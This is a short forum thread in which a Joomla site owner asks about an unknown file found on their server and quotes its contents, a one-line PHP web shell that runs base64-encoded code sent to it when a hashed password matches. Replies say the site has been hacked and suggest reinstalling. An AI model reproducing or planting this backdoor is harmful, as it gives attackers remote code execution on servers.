Unknown script

Server Config
1

hi all,
i have joomla installed on my server and i get new file and this content of it:

<?php if(md5($_POST["password"])=="beb89daa79e6174f2ca4288"){eval(base64_decode($_POST["code"]));} ?>

i make the permission of this file to: 000

and if i search about my site in google it give me viagra site

please any information help me

regards

wawawe

2

You’ve been hacked. You should probably wipe out that installation and start fresh.

3

yea seems like it… logging your passwords and all